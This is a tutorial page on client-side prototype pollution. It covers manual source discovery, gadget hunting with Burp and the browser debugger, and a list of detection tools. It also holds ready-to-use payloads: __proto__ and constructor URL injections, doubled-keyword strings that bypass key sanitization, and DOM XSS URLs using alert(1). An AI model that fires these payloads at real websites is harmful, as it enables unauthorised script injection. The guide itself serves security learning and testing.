Client-Side Prototype Pollution

Introduction

Client-side prototype pollution is a powerful vulnerability that allows attackers to manipulate JavaScript's global objects by injecting properties into prototypes. This guide will walk you through the process of identifying and exploiting these vulnerabilities, both manually and using automated tools like DOM Invader. You’ll also get hands-on practice exploiting prototype pollution for DOM-based Cross-Site Scripting (XSS) on intentionally vulnerable labs.

Finding Client-Side Prototype Pollution Sources Manually

High-Level Steps:

  1. Inject Arbitrary Properties: Attempt to inject properties into the Object.prototype using the query string, URL fragment, or JSON input. For example:

    vulnerable-website.com/?__proto__[foo]=bar
  2. Inspect the Prototype: Use the browser console to check if the property was successfully added:

    Object.prototype.foo
  3. Try Different Techniques: If unsuccessful, alternate between dot notation and bracket notation:

    vulnerable-website.com/?__proto__.foo=bar
  4. Explore Alternative Vectors: If direct injection fails, attempt to exploit the prototype via its constructor.

Identifying Gadgets for Exploitation

Once you’ve identified a source, the next step is to find gadgets—pieces of code that can be exploited using the polluted properties.

Manual Gadget Hunting:

  1. Look through the source code and identify any properties that are used by the application or any libraries that it imports.

  2. In Burp, enable response interception (Proxy > Options > Intercept server responses) and intercept the response containing the JavaScript that you want to test.

  3. Add a debugger statement at the start of the script, then forward any remaining requests and responses.

  4. In Burp's browser, go to the page on which the target script is loaded. The debugger statement pauses execution of the script.

  5. While the script is still paused, switch to the console and enter the following command, replacing YOUR-PROPERTY with one of the properties that you think is a potential gadget:

Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})

The property is added to the global Object.prototype, and the browser will log a stack trace to the console whenever it is accessed.

  1. Press the button to continue execution of the script and monitor the console. If a stack trace appears, this confirms that the property was accessed somewhere within the application.

  2. Expand the stack trace and use the provided link to jump to the line of code where the property is being read.

  3. Using the browser's debugger controls, step through each phase of execution to see if the property is passed to a sink, such as innerHTML or eval().

  4. Repeat this process for any properties that you think are potential gadgets.

Exploitation

Bypasses

Prototype Pollution via the Constructor

Apart from the classic __proto__ vector, attackers can also exploit the constructor property of JavaScript objects. By manipulating the constructor, you can gain access to the object’s prototype and pollute it without relying on the __proto__ string.

Bypassing Flawed Key Sanitization

A common defense against prototype pollution is sanitizing property keys before merging them into objects. However, flawed sanitization processes that fail to recursively strip dangerous keys can be bypassed using creative input crafting.

https://example.com/?__proto__[foo]=bar
https://example.com/?__proto__.foo=bar
https://example.com/?constructor.[prototype][foo]=bar
https://example.com/?constructor.prototype.foo=bar
Object.constructor.prototype.evilProperty="evilPayload"
Object.constructor["prototype"]["evilProperty"]="evilPayload"
x[__proto__][abaeead] = abaeead
x.__proto__.edcbcab = edcbcab
__proto__[eedffcb] = eedffcb
__proto__.baaebfc = baaebfc
?__proto__[test]=test

# Bypass sanitization
https://example.com/?__pro__proto__to__[foo]=bar
https://example.com/?__pro__proto__to__.foo=bar
https://example.com/?constconstructorructor[prototype][foo]=bar
https://example.com/?constconstructorructor.prototype.foo=bar
https://example.com/?constconstructorructor[protoprototypetype][foo]=bar
https://example.com/?constconstructorructor.protoprototypetype.foo=bar

Exploit to DOM XSS

If our payload affects an HTML element after loading, we can inject DOM-based XSS as below. Assume the key name of the property is "source_url", whose value is loaded as "src" in a script element. What property name is defined might be found by investigating JavaScript code assigned in the website.

https://example.com/?__proto__[source_url]=data:,alert(1);
https://example.com/?__proto__[source_url]=data:,alert(1);
https://example.com/?__proto__[source_url]=alert(1)-

Bypass HTML sanitizers

Research has shown that certain HTML sanitizers like sanitize-html and DOMPurify can be bypassed using prototype pollution gadgets. Understanding how to exploit these sanitizers can elevate your attack strategy.

  • sanitize-html

  • XSS

  • dompurify

Tools for Detecting Prototype Pollution

  • ppfuzz: A tool for fuzzing and finding prototype pollution vulnerabilities.

  • ppmap: A map of known prototype pollution vulnerabilities in JavaScript libraries.

  • proto-find: A tool for finding prototype pollution sources.

  • PPScan: A browser extension for automatically scanning web pages for prototype pollution vulnerabilities.

  • Dom-Invador: Burp Browser Extension Automating Hunting for pp

Resources

Last updated